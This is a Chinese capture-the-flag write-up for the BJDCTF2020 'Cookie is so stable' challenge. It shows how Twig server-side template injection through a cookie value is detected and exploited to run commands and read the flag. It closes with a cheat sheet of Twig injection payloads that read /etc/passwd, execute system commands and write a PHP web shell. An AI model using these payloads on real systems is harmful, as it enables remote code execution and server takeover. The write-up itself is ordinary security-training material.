首页 > 其他分享 >[BJDCTF2020]Cookie is so stable

[BJDCTF2020]Cookie is so stable

时间:2024-02-13 21:34:23浏览次数:50  
标签:回显 self registerUndefinedFilterCallback Cookie env stable so BJDCTF2020

[BJDCTF2020]Cookie is so stable

aELO8GZkmAtjQzElnjow5HIdWt4At37EhKbTM38FwsI

打开环境,在页面源代码中发现提示查看cookies

s9V61p_jVrehuMJ8ew6Cndw7hF5DCnu4IM3P4VRS0is

cookie里的user的值会显示到页面中

vmJdHDT4gJBWwdK21p64uxMUG_dQRUMuoBZyha9I24c

在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2

{{7*'7'}} 回显49 ==> Twig

PXAZEADBeB76CW27fhQae5sDOvatJLCMNe2EIa-ewME

回显49所以是Twig

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

GliK2dfPHhNd65byJ7PeOU-BTGzHHG4vKAnHzOwyxWA

获取flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

v_fQHYltR0cIc2ILkiYR_4vPmeDn4g-MW_D_NOIASNw

这里附上Twig常用的注入payload:

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

再附上SSTI漏洞的基础知识:

https://www.cnblogs.com/bmjoker/p/13508538.html

标签:回显,self,registerUndefinedFilterCallback,Cookie,env,stable,so,BJDCTF2020
From: https://www.cnblogs.com/fishjumpriver/p/18014837

相关文章

  • P4559 [JSOI2018] 列队 题解
    题目链接:列队半年前mark的题,结果现在一下子就会做了。顺便写写我的手玩过程和复杂度说明。考虑比较特殊的情况:比较特殊的,发现从黑色到红色区间我们无论咋选择,由于\(\left|a_{right}-a_{left}\right|\),这玩意如果\(right\)表示红色的一边,那么这个绝对值可以直接拆掉,那么......
  • C. Physical Education Lesson
    原题链接题解再结合代码应该就能看得懂了吧。。。至于赛时怎么想出来的。我是观察样例得出来的时间复杂度\(O(2·t·\sqrt{n})\)code#include<bits/stdc++.h>#definelllonglongusingnamespacestd;inlinevoidread(ll&x){x=0;llflag=1;cha......
  • CF1928C Physical Education Lesson
    原题链接先考虑暴力枚举每个\(k\)是否合法,发现\(k\)合法当且仅当\((2k-2)\mid(n-x)\)或者\((2k-2)\mid(n+x-2)\)并且\(k\geqx\)。因为当\(n\)处于每一段中的第\(1\simk\)个数中时\(n-x\)是上一段的结尾,\(n\)处于每一段中的第\(k\sim2k-2\)个数中时\(n+(x......
  • Vite+Vue根据环境配置Websocket地址
    前言上回说到,利用vite加载不同mode下的配置文件,可以实现不同运行环境下的参数配置。在前端应用中经常使用到Websocket,其地址同样可以在.env中间中配置。代码vite.config.ts代码的执行是在createApp之前,不可以在vite.config.ts中使用例如pinia、router等组件。可以使用import.me......
  • Linux下指定so动态库的加载路径的5种方法
    搜索的先后顺序是:编译目标代码时指定的动态库搜索路径;环境变量LD_LIBRARY_PATH指定的动态库搜索路径;配置文件/etc/ld.so.conf中指定的动态库搜索路径;默认的动态库搜索路径/lib;默认的动态库搜索路径/usr/lib。将库文件放置在对应的路径中,运行时就可以搜索到了。例1:通过gcc......
  • 二十、基于Bootstrap和FontAwesome制作页面
    调整项目目录结构:在项目statics目录下,创建JS、CSS、Plugins文件,分别用于存放js、css和第三方插件。Bootstrap:提供现成的样式+效果1、下载Bootstrap在boostrap官网下载用于生产版本的bootstrap,放在plugins文件夹。2、Html中引入Bootstrap的css<head>...<linkrel="style......
  • 十七、Cookie和Session
    1、Cookie:保存在客户端浏览器文件上的键值对当浏览器访问某个网站时,浏览器在COOKIE中拿出属于该网站的键值对来访问这个网站。因此这些键值对是按域名来保存在本地文件。一、cookie和session的介绍1、cookie不属于http协议范围,由于http协议无法保持状态,但实际情况,我们却又需要......
  • Eigen中变换矩阵Eigen::Isometry3d T的使用方法(左乘和右乘)
    https://zhuanlan.zhihu.com/p/610439768?utm_id=0 一、基本定义Eigen::Isometry3dT_imu_to_lidar=Eigen::Isometry3d::Identity()转换矩阵本质是一个4*4的矩阵二、操作方法.translation():无参数,返回当前变换平移部分的向量表示(可修改),可以索引[]获取各分量.rotation(......
  • [BJDCTF2020]Mark loves cat
    [BJDCTF2020]Marklovescat打开环境,在网页端没发现什么提示,通过dirsearch发现有git源码泄露通过githack下载下来flag.php里的内容是读取flag文件内容并赋值给$flag<?php$flag=file_get_contents('/flag');index.php的内容多一些,贴出来做代码审计<?phpinclude'fla......
  • 解决jstack的报错:Unable to open socket file
    原文网址:​​解决jstack的报错:Unabletoopensocketfile_IT利刃出鞘的博客-CSDN博客​​简介说明本文介绍解决jstack的报错的方法,报错信息为:Unabletoopensocketfile。分享Java技术星球:​​自学精灵-IT技术星球​​详细报错信息:进程号:Unabletoopensocketfile:......